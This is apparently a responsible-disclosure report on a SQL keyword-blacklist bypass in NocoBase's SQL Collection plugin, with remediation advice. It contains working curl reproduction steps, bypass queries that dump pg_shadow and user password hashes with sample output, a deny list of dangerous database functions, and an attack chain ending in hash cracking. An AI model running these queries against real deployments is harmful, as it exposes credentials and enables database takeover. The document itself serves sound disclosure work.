Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.

An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.

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Affected Component

File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    // PostgreSQL — BLOCKED
    'pg_read_file',
    'pg_read_binary_file',
    'pg_stat_file',
    'pg_ls_dir',
    'pg_logdir_ls',
    'pg_terminate_backend',
    'pg_cancel_backend',
    'current_setting',
    'set_config',
    'pg_reload_conf',
    'pg_sleep',
    'generate_series',

    // MySQL — BLOCKED
    'LOAD_FILE',
    'BENCHMARK',
    '@@global.',
    '@@session.',

    // SQLite — BLOCKED
    'sqlite3_load_extension',
    'load_extension',
  ];

  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
  //                 information_schema, users table direct access, etc.

  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:

// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
  const { sql } = ctx.action.params.values || {};
  try {
    checkSQL(sql);         // ← insufficient validation
  } catch (e) {
    ctx.throw(400, ctx.t(e.message));
  }
  // SQL is executed directly against the database
  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
  ctx.body = { data, fields, sources };
}

---

Root Cause

The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:

1. PostgreSQL system catalog tables — pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restricted
2. Application-level sensitive tables — users (containing hashed passwords) can be queried directly
3. information_schema — full schema enumeration is possible
4. Schema-qualified variants — even some blocked functions could be bypassed via pg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)

The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.

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Steps to Reproduce

Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).

Step 1: Authenticate and obtain a token:

TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

Step 2: Dump PostgreSQL password hashes from pg_shadow:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}'

Response:

{
  "data": {
    "data": [
      {
        "usename": "nocobase",
        "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU="
      }
    ]
  }
}

Step 3: Dump NocoBase user credentials:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}'

Response (verified):

{
  "data": {
    "data": [
      {
        "id": 1,
        "email": "admin@nocobase.com",
        "username": "nocobase",
        "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b"
      }
    ]
  }
}

---

Additional Verified Bypass Queries

| Query | Blocked? | Data Exposed | |-------|----------|--------------| | SELECT usename, passwd FROM pg_shadow |Not blocked | PostgreSQL DB user password hashes | | SELECT id, email, password FROM users |Not blocked | All NocoBase user credential hashes | | SELECT table_name FROM information_schema.tables |Not blocked | Full database schema enumeration | | SELECT rolname, rolsuper FROM pg_roles |Not blocked | All DB roles and superuser flags | | SELECT pid, query FROM pg_stat_activity |Not blocked | Live SQL queries from all sessions | | SELECT pg_read_file('/etc/passwd') |Blocked | — | | SELECT current_setting('app.key') |Blocked | — |

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Why Admin-Required Still Matters

This vulnerability is rated High despite requiring admin-level authentication. The reasoning:

1. Security Boundary Violation (Scope Changed → S:C)

The admin role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing pg_shadow is a PostgreSQL system-level privilege that admins should never have. The checkSQL() function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.

2. Data That Admin Cannot Access Through Normal UI

Even with admin privileges, NocoBase's UI and API do not expose:

• pg_shadow (PostgreSQL internal password store)
• Raw users.password hashes via standard API responses
• Full information_schema enumeration

VUL-2 grants access to all of the above — data the application explicitly chose not to expose.

3. Enables Lateral Movement

The pg_shadow SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.

4. Enables Full Attack Chain When Combined with Other Vulnerabilities

Member user (lowest privilege)
  → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)
  → VUL-1: RCE reads APP_KEY from process.env
  → Forge JWT with admin role
  → VUL-2: Dump pg_shadow + users.password
  → Crack hashes → full PostgreSQL access

---

Impacted API Endpoint

POST /api/sqlCollection:execute

• Authentication: Required (admin role)
• ACL Snippet registered in plugin.ts:

  this.app.acl.registerSnippet({
    name: `pm.data-source-manager.collection-sql`,
    actions: ['sqlCollection:*'],   // includes :execute
  });
  

• The admin role includes this snippet by default.

---

Recommended Fixes

Fix 1 (Immediate): Extend the blacklist with system catalog tables

const dangerKeywords = [
  // ... existing entries ...

  // ADD: PostgreSQL system catalog tables with sensitive data
  'pg_shadow',
  'pg_authid',
  'pg_auth_members',
  'pg_stat_activity',
  'pg_roles',
  // Note: information_schema should also be restricted for non-DBA roles
];

Fix 2 (Recommended): Replace blacklist with schema allowlist

Instead of blocking dangerous keywords, only allow queries against user-defined collection tables:

// Allowlist approach: extract table names from AST and verify against known collections
const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users
const referencedTables = extractTableNames(parsedSQL);
if (!referencedTables.every(t => allowedTables.includes(t))) {
  throw new Error('Query references tables outside the allowed scope');
}

Fix 3 (Defense-in-depth): Use a read-only, restricted DB user

The application's DB connection should use a PostgreSQL user that:

• Does not have SELECT privilege on pg_shadow or pg_authid
• Only has access to the application's own schema (nocobase schema)

This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.

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Environment

| Field | Value | |-------|-------| | NocoBase version | 2.0.59-full | | Database | PostgreSQL 16.14 | | Deployment | Docker (nocobase/nocobase:2.0.59-full) | | Vulnerable file | plugin-collection-sql/src/server/utils.ts — checkSQL() | | Vulnerable endpoint | POST /api/sqlCollection:execute | | Auth required | Admin role (pm.data-source-manager.collection-sql snippet) |

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Timeline

| Date | Event | |------|-------| | 2026-05-29 | Vulnerability discovered via whitebox source code audit of utils.ts | | 2026-05-29 | Exploit verified on live Docker instance — pg_shadow and users.password dumped | | 2026-05-29 | Report submitted to maintainers |

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Script and video PoC:

poc_vul2_sqli.py

https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732